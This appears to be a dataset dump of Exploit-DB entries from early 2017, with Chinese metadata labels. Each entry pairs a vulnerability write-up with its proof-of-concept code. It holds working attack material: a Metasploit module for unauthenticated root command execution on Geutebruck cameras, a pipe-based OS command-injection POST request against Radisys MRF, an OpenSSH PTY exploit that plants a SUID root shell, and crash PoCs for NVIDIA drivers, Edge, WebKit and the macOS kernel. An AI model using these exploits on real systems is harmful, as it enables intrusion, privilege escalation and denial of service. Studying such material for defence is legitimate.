QLWD/code_shield huggingface dataset:
标题: NVIDIA Driver 375.70 - Buffer Overflow in Command Buffer Submission EDB-ID: 41365 CVE: 2017-0313 类型: DOS 平台: WINDOWS 发布日期: 2017-02-15 漏洞利用脚本: Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=1012

DxgkDdiSubmitCommandVirtual is the function implemented by the kernel mode driver
responsible for submitting a command buffer to the GPU. One of the arguments passed
contains vendor specific data from the user mode driver. The kernel allocates a single
buffer for this purpose for all submit calls for the same context.

NVIDIA implements this data as:

  struct NvPrivateHeader {
    DWORD magic;
    WORD unknown_4;
    WORD unknown_6;
    DWORD unknown_8;
    DWORD size;
  };

  struct NvPrivateData {
    NvPrivateHeader header;
    DWORD unknown_0;
    DWORD unknown_1;
    DWORD some_size;
    DWORD unknown_2;
    PVOID a_gpu_address_maybe;
    BYTE unknown[1220];
  };

In one of the functions that process this data, there appears to be code to
shift around the contents of this user private data.

  // |len| is controlled by the user. can come from the |some_size| field if the
  |a_gpu_address_maybe| field is 0.

  if ( len ) {
    if ( 8 * len >= pCommand_->DmaBufferPrivateDataSize - 0x4E8 )
      do_debug_thingo();                        // doesn't stop the memcpy

    priv_data = (NvSubmitPrivateData *)pCommand_->pDmaBufferPrivateData;

    src = (char *)priv_data + priv_data->header.size;  // unchecked length
    priv_data = (NvSubmitPrivateData *)((char *)priv_data + 1256);
    *(_QWORD *)&v4->unknown_0[256] = priv_data;

    // potential bad memcpy
    memcpy(priv_data, src, 8 * len);
  }


There are two main problems here: the |len| value is checked, but that appears
to only call a debug logging function and not actually stop the memcpy that
occurs afterwards.

Also, the |size| field from the header is not properly
checked to be smaller than the actual size of the data (this is also checked in
the calling function but once again only calls do_debug_thingo()).

This lets an attacker specify an arbitrary length for the copy, as well as
specify an arbitrary 32-bit offset to copy from, leading to pool memory corruption.

Crashing context with PoC (Win 10 x64, driver version 375.95):

PAGE_FAULT_IN_NONPAGED_AREA (50)
...
rax=0000000000000008 rbx=0000000000000000 rcx=ffffb2087fe8f4f0
rdx=0000000041413c59 rsi=0000000000000000 rdi=0000000000000000
rip=fffff8035fc15b00 rsp=ffffd88179edd1a8 rbp=0000000000000080
 r8=00000000020a0a08  r9=0000000000105050 r10=0000000000000000
r11=ffffb2087fe8f4f0 r12=0000000000000000 r13=0000000000000000
r14=0000000000000000 r15=0000000000000000
iopl=0         nv up ei ng nz na po nc
nvlddmkm+0x5e5b00:
fffff803`5fc15b00 f30f6f040a      movdqu  xmm0,xmmword ptr [rdx+rcx] ds:ffffb208`c12a3149=????????????????????????????????
Resetting default scope


Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/41365.zip URL: https://www.exploit-db.com/exploits/41365
标题: GOM Player 2.3.10.5266 - '.fpx' Denial of Service EDB-ID: 41367 CVE: 2017-5881 类型: DOS 平台: WINDOWS 发布日期: 2017-02-15 漏洞利用脚本: # Exploit Title: GOM Player 2.3.10.5266 - Remote heap corruption (.fpx)
# Date: 2017-02-15
# Exploit Author: Peter Baris
# Exploit link: http://www.saptech-erp.com.au/resources/PoC.zip
# Software Link: http://player.gomlab.com/download.gom?language=eng
# CVE: CVE-2017-5881
# Version: 2.3.10.5266
# Tested on: Windows Server 2008 R2 x64, Windows 7 SP1 x64

POC:

https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/41367.zip  

Open the malicious fpx file with CTRL+U, served by a webserver:

 WinDbg 

(864.150): Access violation - code c0000005 (first chance)

First chance exceptions are reported before any exception handling.

This exception may be expected and handled.

eax=092fcde8 ebx=00000000 ecx=41414141 edx=090ff798 esi=090ff790
edi=05b10000

eip=77902fe5 esp=10a9fbb4 ebp=10a9fc94 iopl=0         nv up ei ng nz na pe
cy

cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b
efl=00010287

ntdll!RtlpFreeHeap+0x4d6:

77902fe5 8b19            mov     ebx,dword ptr [ecx]
ds:002b:41414141=????????

 

0:022> !exchain

10a9fc84: ntdll!_except_handler4+0 (77946325)

  CRT scope  0, func:   ntdll!RtlpFreeHeap+b7d (7795b52d)

10a9fd54: *** WARNING: Unable to verify checksum for C:\Program Files
(x86)\GRETECH\GomPlayer\gvf.ax

*** ERROR: Symbol file could not be found.  Defaulted to export symbols for
C:\Program Files (x86)\GRETECH\GomPlayer\gvf.ax - 

gvf!DllGetClassObject+5801b (6e02bc7b)

10a9fdcc: gvf!DllGetClassObject+57af8 (6e02b758)

10a9fe00: gvf!DllGetClassObject+57ac8 (6e02b728)

10a9fe84: gvf!DllGetClassObject+57fe0 (6e02bc40)

10a9feac: gvf!DllGetClassObject+5d5e8 (6e031248)

10a9ff60: ntdll!_except_handler4+0 (77946325)

  CRT scope  0, filter: ntdll!__RtlUserThreadStart+2e (77946608)

                func:   ntdll!__RtlUserThreadStart+63 (77948227)

10a9ff80: ntdll!FinalExceptionHandler+0 (779983b1)

Invalid exception stack at ffffffff


2017-02-04 notification sent to developers

2017-02-05 developerss requested information about the issue

2017-02-09 information sent with the PoC

no reply if they plan to release a fix or not URL: https://www.exploit-db.com/exploits/41367
标题: Microsoft Windows - 'gdi32.dll' EMR_SETDIBITSTODEVICE Heap Out-of-Bounds Reads / Memory Disclosure EDB-ID: 41363 CVE: 2017-0038 类型: DOS 平台: WINDOWS 发布日期: 2017-02-15 漏洞利用脚本: Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=992

In issue #757, I described multiple bugs related to the handling of DIBs (Device Independent Bitmaps) embedded in EMF records, as implemented in the user-mode Windows GDI library (gdi32.dll). As a quick reminder, the DIB-embedding records follow a common scheme: they include four fields, denoting the offsets and lengths of the DIB header and DIB data (named offBmiSrc, cbBmiSrc, offBitsSrc, cbBitsSrc). A correct implementation should verify that:

1) cbBmiSrc is within expected bounds, accounting for the DIB header, color palette etc.
2) the (offBmiSrc, offBmiSrc + cbBmiSrc) region resides within the record buffer's area.
3) cbBitsSrc is within expected bounds, and especially that it is larger or equal the expected number of bitmap bytes.
4) the (offBitsSrc, offBitsSrc + cbBitsSrc) region resides within the record buffer's area.

In the previous bug, I listed various combinations of missing checks in at least 10 different records:

- EMR_ALPHABLEND
- EMR_BITBLT
- EMR_MASKBLT
- EMR_PLGBLT
- EMR_STRETCHBLT
- EMR_TRANSPARENTBLT
- EMR_SETDIBITSTODEVICE
- EMR_STRETCHDIBITS
- EMR_CREATEMONOBRUSH
- EMR_EXTCREATEPEN

As part of MS16-074, some of the bugs were indeed fixed, such as the EMR_STRETCHBLT record, which the original proof-of-concept image relied on. However, we've discovered that not all of the DIB-related problems are gone. For instance, the implementation of EMR_SETDIBITSTODEVICE (residing in the MRSETDIBITSTODEVICE::bPlay function) still doesn't enforce condition #3. As a result, it is possible to disclose uninitialized or out-of-bounds heap bytes via pixel colors, in Internet Explorer and other GDI clients which allow the extraction of displayed image data back to the attacker.

The proof-of-concept file attached here consists of a single EMR_SETDIBITSTODEVICE record (excluding the header/EOF records), which originally contained a 1x1 bitmap. The dimensions of the DIB were then manually altered to 16x16, without adding any more actual image data. As a consequence, the 16x16/24bpp bitmap is now described by just 4 bytes, which is good for only a single pixel. The remaining 255 pixels are drawn based on junk heap data, which may include sensitive information, such as private user data or information about the virtual address space. I have confirmed that the vulnerability reproduces both locally in Internet Explorer, and remotely in Office Online, via a .docx document containing the specially crafted EMF file.

It is strongly advised to perform a careful audit of all EMF record handlers responsible for dealing with DIBs, in order to make sure that each of them correctly enforces all four conditions necessary to prevent invalid memory access (and subsequent memory disclosure) while processing the bitmaps.


Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/41363.zip URL: https://www.exploit-db.com/exploits/41363
标题: NVIDIA Driver 375.70 - DxgkDdiEscape 0x100008b Out-of-Bounds Read/Write EDB-ID: 41364 CVE: 2017-0312 类型: DOS 平台: WINDOWS 发布日期: 2017-02-15 漏洞利用脚本: Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=985

The DxgkDdiEscape handler for 0x100008b accepts a user supplied size as the                                                                                    
limit for a loop, leading to OOB reads and writes.

The supplied PoC passes an invalid size of 0x41414141, which causes a crash in:

__int64 sub_30A500(__int64 a1, __int64 a2, _DWORD *ptr, unsigned int user_supplied_size)
{
  __int64 i; // r11@2

  if ( user_supplied_size )
  {
    i = user_supplied_size;
    do
    {
      if ( *ptr == 3 || (unsigned int)(*ptr - 9) <= 1 )
        *ptr = 0;
      ptr += 3;
      --i;
    }
    while ( i );

Crashing context on Win 10 x64, driver version 375.70:

TRAP_FRAME:  ffffd000266219e0 -- (.trap 0xffffd000266219e0)
NOTE: The trap frame does not contain all registers.
Some register values may be zeroed or incorrect.
rax=00000000fffffff7 rbx=0000000000000000 rcx=ffffe000d6315000
rdx=ffffe000d691b000 rsi=0000000000000000 rdi=0000000000000000
rip=fffff8010e34a50b rsp=ffffd00026621b78 rbp=ffffe000d691b000
 r8=ffffd000266228a8  r9=0000000041414141 r10=ffffd00026623004
r11=00000000414140a4 r12=0000000000000000 r13=0000000000000000
r14=0000000000000000 r15=0000000000000000
iopl=0         nv up ei pl nz na pe nc
nvlddmkm+0x2fa50b:
fffff801`0e34a50b 418b02          mov     eax,dword ptr [r10] ds:ffffd000`26623004=????????


Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/41364.zip URL: https://www.exploit-db.com/exploits/41364
标题: Geutebruck 5.02024 G-Cam/EFD-2250 - 'testaction.cgi' Remote Command Execution (Metasploit) EDB-ID: 41360 CVE: 2017-5174 2017-5173 类型: WEBAPPS 平台: HARDWARE 发布日期: 2017-02-15 漏洞利用脚本: ##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
  Rank = NormalRanking
  include Msf::Exploit::Remote::HttpClient

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'Geutebruck testaction.cgi Remote Command Execution',
      'Description'    => %q{
        This module exploits a an arbitrary command execution vulnerability. The
        vulnerability exists in the /uapi-cgi/viewer/testaction.cgi page and allows an
        anonymous user to execute arbitrary commands with root privileges.
        Firmware <= 1.11.0.12 are concerned.
        Tested on 5.02024 G-Cam/EFD-2250 running 1.11.0.12 firmware.
      },
      'Author'         =>
        [
          'Davy Douhine', #CVE-2017-5173 (RCE) and metasploit module
          'Florent Montel'  #CVE-2017-5174 (Authentication bypass)
          'Frederic Cikala' #CVE-2017-5174 (Authentication bypass)
        ],
      'License'        => MSF_LICENSE,
      'References'     =>
        [
          [ 'CVE', '2017-5173' ],
          [ 'CVE', '2017-5174' ],
          [ 'URL', 'http://geutebruck.com' ]
          [ 'URL', 'https://ics-cert.us-cert.gov/advisories/ICSA-17-045-02' ]
        ],
      'Privileged'     => false,
      'Payload'        =>
        {
          'DisableNops' => true,
          'Space'       => 1024,
          'Compat'      =>
            {
              'PayloadType' => 'cmd',
              'RequiredCmd' => 'generic netcat bash',
            }
        },
      'Platform'       => 'unix',
      'Arch'           => ARCH_CMD,
      'Targets'        => [[ 'Automatic', { }]],
      'DefaultTarget'  => 0,
      'DisclosureDate' => 'Aug 16 2016'))

    register_options(
      [
        OptString.new('TARGETURI', [true, 'The base path to webapp', '/uapi-cgi/viewer/testaction.cgi']),
      ], self.class)
  end

  def exploit
    uri = normalize_uri(target_uri.path)
    print_status("#{rhost}:#{rport} - Attempting to exploit...")
    command = payload.encoded
    res = send_request_cgi(
      {
        'uri'    => uri,
        'method' => 'POST',
        'vars_post' => {
          'type' => "ip",
          'ip' => "eth0 1.1.1.1;#{command}",
        },
    })
  end

end URL: https://www.exploit-db.com/exploits/41360
标题: Microsoft Edge - TypedArray.sort Use-After-Free (MS16-145) EDB-ID: 41357 CVE: 2016-7288 类型: DOS 平台: WINDOWS 发布日期: 2017-02-14 漏洞利用脚本: <!--
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=983

There is a use-after-free in TypedArray.sort. In TypedArrayCompareElementsHelper (https://chromium.googlesource.com/external/github.com/Microsoft/ChakraCore/+/TimeTravelDebugging/lib/Runtime/Library/TypedArray.cpp), the comparison function is called with the following code:

 Var retVal = CALL_FUNCTION(compFn, CallInfo(CallFlags_Value, 3),
                undefined,
                JavascriptNumber::ToVarWithCheck((double)x, scriptContext),
                JavascriptNumber::ToVarWithCheck((double)y, scriptContext));

            Assert(TypedArrayBase::Is(contextArray[0]));
            if (TypedArrayBase::IsDetachedTypedArray(contextArray[0]))
            {
                JavascriptError::ThrowTypeError(scriptContext, JSERR_DetachedTypedArray, _u("[TypedArray].prototype.sort"));
            }

            if (TaggedInt::Is(retVal))
            {
                return TaggedInt::ToInt32(retVal);
            }

            if (JavascriptNumber::Is_NoTaggedIntCheck(retVal))
            {
                dblResult = JavascriptNumber::GetValue(retVal);
            }
            else
            {
                dblResult = JavascriptConversion::ToNumber_Full(retVal, scriptContext);
            }

The TypeArray is checked to see if it has been detached, but then the return value from the function is converted to an integer, which can invoke valueOf. If this function detaches the TypedArray, one swap is perfomed on the buffer after it is freed.

A minimal PoC is as follows, and a full PoC is attached.

var buf = new ArrayBuffer( 0x10010);
var numbers = new Uint8Array(buf);


function v(){

   postMessage("test", "http://127.0.0.1", [buf])
   return 7;

}

function compareNumbers(a, b) {

  return {valueOf : v};
}

numbers.sort(compareNumbers);

This PoC works on 64-bit systems only.
-->

<html>
<body>
<script>

var buf = new ArrayBuffer( 0x10010);
var numbers = new Uint8Array(buf);
var first = 0;


function v(){
  alert("in v");
  if( first == 0){
    postMessage("test", "http://127.0.0.1", [buf])
 first++;
 }
   return 7;

}

function compareNumbers(a, b) {
  alert("in func");

  return {valueOf : v};
}

try{
 numbers.sort(compareNumbers);
}catch(e){

 alert(e.message);

}
</script>
</body>
</html> URL: https://www.exploit-db.com/exploits/41357
标题: Apple WebKit - 'HTMLKeygenElement' Type Confusion EDB-ID: 41215 CVE: 2017-2369 类型: DOS 平台: MULTIPLE 发布日期: 2017-02-01 漏洞利用脚本: <!-- Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=999 -->

<keygen id="keygen_element" style="position:absolute; height: 100px; width: 100px;">
<script>
var range = document.caretRangeFromPoint(50, 50);
var shadow_tree_container = range.commonAncestorContainer;
shadow_tree_container.prepend("foo");
keygen_element.disabled = true;
</script>

<!--
What happens here:
1. caretRangeFromPoint() allows accessing (and modifying) userAgentShadowRoot from JavaScript
2. HTMLKeygenElement::shadowSelect() blindly casts the first child of the userAgentShadowRoot to HTMLSelectElement without checking the Node type.
--> URL: https://www.exploit-db.com/exploits/41215
标题: Radisys MRF - Command Injection EDB-ID: 41179 CVE: 2016-10043 类型: WEBAPPS 平台: CGI 发布日期: 2017-01-27 漏洞利用脚本: Title:      MRF Web Panel OS Command Injection
Vendor:     Radisys
Vendor Homepage: http://www.radisys.com
Product:    MRF Web Panel (SWMS)
Version:    9.0.1
CVE:        CVE-2016-10043
CWE:        CWE-78
Risk Level: High

Discovery:  Filippos Mastrogiannis, Loukas Alkis & Dimitrios Maragkos
            COSMOTE (OTE Group) Information & Network Security

-----------------------------------------------------------------------------------------


Vulnerability Details:

The MRF Web Panel (SWMS) is vulnerable to OS Command Injection
attacks.

> Affected parameter: MSM_MACRO_NAME (POST parameter)
> Affected file: ms.cgi (/swms/ms.cgi)
> Verified Affected Operation: Show Fatal Error and Log Package Configuration

It is possible to use the pipe character (|) to inject arbitrary OS commands
and retrieve the output in the application's responses:

MSM_MACRO_NAME=Show_Fatal_Error_Configuration|||a #' |<command>||a #|" |||a #


Proof Of Concept:

1. Login to the vulnerable MRF web panel (with a standard user account): 
   https://<vulnerable>/swms
2. Fire up your favorite intercepting proxy tool (Burp Suite, OWASP ZAP etc)
3. Modify and send the following POST request:

POST /swms/ms.cgi HTTP/1.1
Host: <vulnerable>
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.11; rv:47.0) Gecko/20100101 Firefox/47.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Referer: https://<vulnerable>/swms/ms.cgi?MSM_SID=<session_id>&MSM_MACRO_NAME=Show_Fatal_Error_Configuration&MSM_MACRO_CATEGORY=%3CMSM_MACRO_CATEGORY%3E&PROGRAM=IO&MSM_MACRO_INPUT=-GETFIRSTINPUT
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 213

MSM_SID=<session_id>&MSM_MACRO_NAME=Show_Fatal_Error_Configuration|||a%20%23'%20|pwd||a%20%23|"%20|||a%20%23&MSM_MACRO_CATEGORY=%3CMSM_MACRO_CATEGORY%3E&PROGRAM=IO&MSM_MACRO_INPUT=-EXECUTE&Btn_Execute=Execute

4. Check the output of the injected command 'pwd' in the response:

HTTP/1.1 200 OK
Date: Thu, 21 Jul 2016 08:18:43 GMT
Server: Apache
Cache-Control: no-cache
Connection: close
Content-Type: text/html; charset=UTF-8
Content-Length: 23

/var/opt/swms/www/html


Vulnerability Impact:

Application's own data and functionality or the web server can be compromised due
to OS command injection vulnerabilities. It may also be possible to use the server
as a platform for attacks against other systems.


Disclaimer:

The responsible disclosure policy has been followed URL: https://www.exploit-db.com/exploits/41179
标题: OpenSSH 6.8 < 6.9 - 'PTY' Local Privilege Escalation EDB-ID: 41173 CVE: 2015-6565 类型: LOCAL 平台: LINUX 发布日期: 2017-01-26 漏洞利用脚本: /* 
 *  not_an_sshnuke.c
 *
 *  Federico Bento
 *
 *  up201407890 () alunos dcc fc up pt
 *  https://twitter.com/uid1000
 * 
 *  OpenSSH 6.8-6.9 local privilege escalation - CVE-2015-6565
 *  
 *  Considered mostly to be a "DoS", turns out to be a priv esc vuln.
 *  https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2015-6565
 *
 *  Shoutz to Jann Horn for the detailed analysis
 *  And also to all my elite colleagues, specially xSTF :)
 *
 *
 *  $ gcc not_an_sshnuke.c -o not_an_sshnuke
 *  $ ./not_an_sshnuke /dev/pts/3
 *  [*] Waiting for slave device /dev/pts/3
 *  [+] Got PTY slave /dev/pts/3
 *  [+] Making PTY slave the controlling terminal
 *  [+] SUID shell at /tmp/sh
 *  $ /tmp/sh --norc --noprofile -p
 *  # id
 *  euid=0(root) groups=0(root)
 *
 */

#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <stdio.h>
#include <unistd.h>
#include <sys/ioctl.h>
     
int main(int argc, char *argv[])
{
     char *cmd = "cp /bin/sh /tmp/sh; chmod u+s /tmp/sh\n";
     int pid, pts = -1;

     if(argc != 2) {
          fprintf(stderr, "Usage: %s /dev/pts/X\n", argv[0]);
   fprintf(stderr, "Where X is next slave device to be created\n");
   return 1;
     }
 
     if(!access(argv[1], F_OK)) {
          fprintf(stderr, "[-] %s device already exists\n", argv[1]);
          return 1;
     }

     pid = fork();

     if(pid < 0) {
   fprintf(stderr, "[-] fork failed\n");
   return 1;
     }
 
     if(pid == 0) {
          printf("[*] Waiting for slave device %s\n", argv[1]);
  
   /* win the race by opening the PTY slave before sshd's child */
   while(pts == -1)
        pts = open(argv[1], O_WRONLY); 

        printf("[+] Got PTY slave %s\n", argv[1]);
               printf("[+] Making PTY slave the controlling terminal\n");
  
        dup2(pts, 0); dup2(pts, 1); dup2(pts, 2);
        setsid();
               ioctl(0, TIOCSCTTY, 1);

        while(*cmd)
             ioctl(0, TIOCSTI, cmd++);
     }

     else {
          wait(NULL);
   printf("[+] SUID shell at /tmp/sh\n");
   return 0;
     }
} URL: https://www.exploit-db.com/exploits/41173
标题: Apple macOS 10.12.1 / iOS Kernel - 'host_self_trap' Use-After-Free EDB-ID: 41165 CVE: 2017-2360 类型: DOS 平台: MULTIPLE 发布日期: 2017-01-26 漏洞利用脚本: /*
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=1034

The task struct has a lock (itk_lock_data, taken via the itk_lock macros) which is supposed to
protect the task->itk_* ports.

The host_self_trap mach trap accesses task->itk_host without taking this lock leading to a use-after-free
given the following interleaving of execution:

Thread A: host_self_trap:
  read current_task()->itk_host         // Thread A reads itk_host

Thread B: task_set_special_port:
  *whichp = port;                       // Thread B replaces itk_host with eg MACH_PORT_NULL
  itk_unlock(task);
  
  if (IP_VALID(old))
    ipc_port_release_send(old);         // Thread B drops last ref on itk_host

Thread A: host_self_trap:
  passes the port to ipc_port_copy_send // uses the free'd port

host_self_trap should use one of the canonical accessors for the task's host port, not just directly read it.

PoC tested on MacOS 10.12.1
*/

// ianbeer
#if 0
iOS/MacOS kernel UaF due to lack of locking in host_self_trap

The task struct has a lock (itk_lock_data, taken via the itk_lock macros) which is supposed to
protect the task->itk_* ports.

The host_self_trap mach trap accesses task->itk_host without taking this lock leading to a use-after-free
given the following interleaving of execution:

Thread A: host_self_trap:
 read current_task()->itk_host         // Thread A reads itk_host

Thread B: task_set_special_port:
  *whichp = port;                       // Thread B replaces itk_host with eg MACH_PORT_NULL
  itk_unlock(task);
  
  if (IP_VALID(old))
    ipc_port_release_send(old);         // Thread B drops last ref on itk_host

Thread A: host_self_trap:
  passes the port to ipc_port_copy_send // uses the free'd port

host_self_trap should use one of the canonical accessors for the task's host port, not just directly read it.

PoC tested on MacOS 10.12.1
#endif

// example boot-args
// debug=0x144 -v pmuflags=1 kdp_match_name=en3 -zp -zc gzalloc_min=120 gzalloc_max=200

#include <stdio.h>
#include <stdlib.h>
#include <pthread.h>

#include <mach/mach.h>
#include <mach/host_priv.h>

mach_port_t q() {
  mach_port_t p = MACH_PORT_NULL;
  mach_port_allocate(mach_task_self(), MACH_PORT_RIGHT_RECEIVE, &p);
  mach_port_insert_right(mach_task_self(), p, p, MACH_MSG_TYPE_MAKE_SEND);
  return p;
}

int start = 0;

mach_port_t rq = MACH_PORT_NULL;
void* racer(void* arg) {
  for(;;) {
    while(!start){;}
    usleep(10);
    mach_port_t p = mach_host_self();
    mach_port_deallocate(mach_task_self(), p);
    start = 0;
  }
}

int main() {
  pthread_t thread;
  pthread_create(&thread, NULL, racer, NULL);
  for (;;){
    mach_port_t p = q();

    kern_return_t err = task_set_special_port(mach_task_self(), TASK_HOST_PORT, p);

    mach_port_deallocate(mach_task_self(), p);
    mach_port_destroy(mach_task_self(), p);
    // kernel holds the only ref

    start = 1;

    task_set_special_port(mach_host_self(), TASK_HOST_PORT, MACH_PORT_NULL);
  }
  return 0;
} URL: https://www.exploit-db.com/exploits/41165